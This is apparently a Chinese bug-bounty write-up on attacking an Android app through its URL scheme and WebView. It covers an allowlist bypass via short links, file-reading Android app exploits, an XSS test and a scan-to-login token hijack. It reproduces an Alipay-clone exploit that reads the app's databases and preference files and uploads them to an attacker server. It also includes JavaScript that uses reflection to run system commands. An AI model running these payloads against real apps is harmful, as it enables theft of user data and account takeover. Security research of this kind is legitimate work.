0x01 推广营销后台任意账号可登录

在寻找某厂商SRC漏洞时,发现一个网站,任意账号可以登录,里面有很多营销推广的后台:

image.png
看了下主要的功能,发现只有却链接投放工具可以使用,那么这个链接投放工具主要是可以将网站转为短链接和SCHEMA链接,提供给app访问:

image.png
URL Scheme

URL Scheme是一种页面内跳转协议,就是通过定义自己的scheme协议,可以非常方便跳转app中的各个页面;通过scheme协议,服务器可以定制化告诉App跳转那个页面,可以通过通知栏消息定制化跳转页面,可以通过H5页面跳转页面等。

一个完整的完整的URL Scheme协议格式由scheme、host、port、path和query组成,其结构如下所示:

<scheme>://<host>:<port>/<path>?<query>

那么这里如何利用呢,首先想到的就是通过SCHEMA去唤醒APP,在APP中打开任意网站,所以我们可以构造一个网站,打开直接跳转到APP:

<html>
<script language="javascript" type="text/javascript">
           window.location.href="*****";
</script>
</html>
html

结果发现第三方的链接在APP中无法打开,会显示空白页面,那么还有短链接功能,可以通过将链接转化为短链接,然后再将短链接转化为SCHEMA链接的方式去绕过这个限制。(所以当某些漏洞存在网站白名单时,可以想办法通过短链接的方式去绕过白名单)

然后发现可以在app中正常打开第三方站点,比如XSS平台:

image.png
到这里可以调用APP打开任意网站,漏洞当然是存在的,但是提交上去,收到了这样的回复:

image.png
image.png

0x02 webview漏洞利用尝试

难道到这里就要结束了吗,当然不,所以我们还需要想一下这里有什么利用场景?

能在APP中打开网页,是因为APP中使用了webview,webview是嵌在APP的H5页面。
APP分为三种形式:

  • Native APP (纯原生)

  • Hybrid APP(部分原生,部分是H5页面)

  • Web APP

webview就是在混合应用中存在的H5页面。一个用来展示网页的view组件,一款webkit内核浏览器,含有前进后退,没有地址栏。

所以说可以理解为APP中的浏览器,可以用来打开网页,既然这样的话,那么我们可以通过webview的漏洞去想办法扩大影响。

0x02.1 setAllowUniversalAccessFromFileURLs

这里可以参考下支付宝克隆漏洞的利用方式,通过Chrome漏洞下载exp.html或者直接本地创建一个exp.html文件,然后file协议去加载这个html,html代码为上传本地文件到服务端:

<div><h2>Hello<h2>Hello Alipay!</h2>
    <script>
    var server = "http://服务端地址/recv.php";
    function createXHR(){
        if(typeof XMLHttpRequest != 'undefined'){
            return new XMLHttpRequest();
        }else if(typeof ActiveXObject != 'undefined'){
            if(typeof arguments.callee.activeXString != 'string'){
                var versions = ['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp'];
                for(var i=0;i<versions.length;i++){
                    try{
                        var xhr = new ActiveXObject(versions[i]);
                        arguments.callee.activeXString = versions[i];
                        return xhr;
                    }catch(ex){}
                }
            }
            return new ActiveXObject(arguments.callee.activeXString);
        }else{
            throw new Error('No XHR Object available');
        }
    }
    // send POST Request
    function sendPostRequest(url,data,headers,callback){
        var xhr  = createXHR();
        xhr.onload = function(){
            callback(xhr.responseText);
        }
        xhr.open('POST',url,false);
        if(typeof(headers)=='object'){
            for(var index in headers){
                if(typeof(headers[index])!='function'){
                    xhr.setRequestHeader(index,headers[index]);
                }
            }
        }
        xhr.send(data);
    }
    // send GET Request to read file and return base64(file_content)
    function sendGetRequestForB64File(url, filename, callback) {
        var xhr = createXHR();
        xhr.onload = function() {
        var reader = new FileReader();
            reader.onloadend = function() {
                var result = reader.result;
                var data = result.substr(result.search('base64,') + 'base64,'.length,result.length);
                data = data.replace(/\+/g,'-').replace(/\//g, '_');
                callback(filename, data);
            }
            reader.readAsDataURL(xhr.response);
        };
        xhr.open('GET', url);
        xhr.responseType = 'blob';
        xhr.send();
    }
    var files = Array(
        'databases/alipayclient.db',
        'databases/alipayclient.db-journal',
        'files/SGMANAGER_DATA2',
        'shared_prefs/alipay_tid_storage.xml',
        'shared_prefs/secuitySharedDataStore.xml'
    );
    var base_path = 'file:///data/data/com.eg.android.AlipayGphone/';
    for(var each in files){
        var file_path = base_path + files[each]
        sendGetRequestForB64File(file_path,files[each],function(filename, response){
            sendPostRequest(
                server,
                'name=' + escape(filename) + '&' + 'content=' + escape(response),
                {"Content-type" : "application/x-www-form-urlencoded"},
                function(a){}
            );
        });
    }
    </script>
    </div>
html

这里是之前支付宝克隆漏洞的exp,我们把这个exp改一改,要上传的文件一般在/data/data/packagename/路径下,去找一台ROOT的安卓手机,然后就可以去看下应用程序本身目录存在那些文件,上传这些文件到服务端,实现应用克隆。

image.png

打开应用目录ls一下,发现应用目录的文件里的app_webview目录,因为webview的Cookie默认存储在webview目录下,所以找到具体的路径就可以进一步利用了:

image.png
image.png
果然在Default目录下面有Cookie文件,所以我们的下一个目标就是读取这个文件,并且上传到服务端。。。大概思路是这样的,sdcard下面有一个文件,文件里的脚本可以读取应用的Cookie并且上传的我们服务器,前提是webview允许读取本地文件。

image.png
Cookie的利用方式这里就不多说了,自己发挥想象,然后我们现在把刚才的exp.html改造一下,改为读取Cookie,adb push 丢到sdcard目录,然后通过SCHEMA唤醒去打开这个本地的网页,结果发现竟然没有任何响应???

image.png
猜测一下可能有以下两种情况:

第一种是app没有开启允许访问本地文件,如上图demo,必须要设置值为true才可以加载file开头的本地文件;

第二种是安卓高版本对应用的权限做了严格的限制,导致不能去访问非应用本身的目录的文件,支付宝克隆的那篇文章已经是三年前的,没有去深入了解安卓高版本对于文件权限的控制,暂时放弃了这个思路。

0x02.2 JavaScript Enabled

WebView 与 native 的交互

如何让 web 页面调用 native 的代码呢,下面介绍一下主要的一种方式:

1.首先第一步我们需要设置一个属性,通过 addJavascriptInterface 方法进行添加对象映射

public class JSObject {
    private Context mContext;
    public JSObject(Context context) {
        mContext = context;
    }

    @JavascriptInterface
    public String showToast(String text) {
        Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
        return "success";
    }
}
...
//特定版本下会存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");
html

原生APP代码中实现了JavaScriptInterface,我们就可以直接通过JS去调用原生的安卓方法。在 API17 版本之后,需要在被调用的地方加上 @addJavascriptInterface 约束注解,因为不加上注解的方法是没有办法被调用的,JS 代码也很简单:

myObj.showToast("我是来自web的Toast");

CVE-2012-6636 和 CVE-2013-4710:

所以当一些 APP 通过扫描二维码打开一个外部网页的时候,可以执行 js 代码,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中浏览器 APP 成为重灾区,另外一些小厂商的 APP 开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用 addJavascriptInterface 接口,明目张胆踩雷。

在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,网页中的JS脚本可以利用接口 “testjs” 调用 App 中的 Java 代码,而 Java 对象继承关系会导致很多 Public 的函数及 getClass 函数都可以在JS中被访问,结合 Java 的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行。

首先第一步 WebView 添加 Javascript 对象,并且添加一些权限,比如想要获取 SD 卡上面的信息就需要 android.permission.WRITE_EXTERNAL_STORAGE

第二步 JS 中可以遍历 window 对象,找到存在 getClass 方法的对象,再通过反射的机制,得到 Runtime 对象,然后就可以调用静态方法来执行一些命令,比如访问文件的命令;第三步就是从执行命令后返回的输入流中得到字符串,比如执行完访问文件的命令之后,就可以得到文件名的信息了,有很严重暴露隐私的危险,核心 JS 代码:

function execute(cmdArgs)  
{  
    for (var obj in window) {  
        if ("getClass" in window[obj]) {  
            alert(obj);  
            return  window[obj].getClass().forName("java.lang.Runtime")  
                 .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
        }  
    }  
}   
html

出于安全考虑,Google 在 API17 版本中就规定能够被调用的函数必须以 @JavascriptInterface 进行注解,理论上如果 APP 依赖的 API 为 17(Android 4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17 依然受影响。但是目前大部分的Android手机并不是4.2以下。

这么老的CVE,如果还能用的话,那真是见了鬼了,本地尝试了一下也确实没办法执行,这里又又又又放弃了,但是发现JavaScript代码是可以执行的。

XSS

既然前面的思路我们都走不通,但是我们可以执行任意的js,xss弹个窗总是可以的吧,于是我们就写了这么一段代码,通过SCHEMA跳转到我们的网站,成功的触发了弹窗:

<script type="text/javascript">
alert("xss");
</script>
javascript

image.png
唉,果然还是太菜了,只能弹个窗安慰一下自己。

0x03 远程账户劫持

当然不能就这么放弃,我们来回想一下,既然可以远程打开网页实现克隆应用,我们也可以伪造用户发起请求,这也是一种很容易实现的思路。

0x03.1 CSRF尝试

说到CSRF,我们首先可以想到的是,伪造一些修改密码或者登录的请求,但是找了一圈APP的功能,发现修改密码都需要验证原密码或者短信验证码,而且没有逻辑绕过的漏洞,所以就把目光就放到了扫码登录的功能上。

抓包分析一下扫码登录的流程,扫码登录的完整流程:
image.png

所以想到了一种利用方式就是伪造用户发起扫描和确认的请求,进而劫持用户的账户。

因为我们已经可以控制唤醒APP,打开任意网站,所以我们可以构造一个页面在APP中打开,然后就可以伪造用户请求,经过测试发现,APP并没有去验证那个网站发起的获取token请求,我们只需要把原来登录的页面稍微修改一下,然后通过前端代码的扫码登录功能,在APP中执行,就可以获取到用户的token:

image.png
所以需要做的就是简单替换页面中登录请求的后端接收地址这种方式,我们就可以在后端劫持到用户的token。而且根据观察,这个token用户登录之后就不会更新,也就是说我们劫持以后可以一直拿着这个token发包来伪造用户的扫码请求和登录请求,登录用户账号的PC版。类似支付宝克隆漏洞的思路不过并不是通过本地漏洞实现。

参考文章:

https://medium.com/mobis3c/exploiting-android-webview-vulnerabilities-e2bcff780892

https://blog.knownsec.com/2013/03/attack-your-android-apps-by-webview/

https://www.cnblogs.com/goodhacker/p/8748681.html

https://blog.csdn.net/self_study/article/details/55046348

https://blog.csdn.net/suyimin2010/article/details/88591149

文章作者: TestNet
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TestNet
渗透测试
喜欢就支持一下吧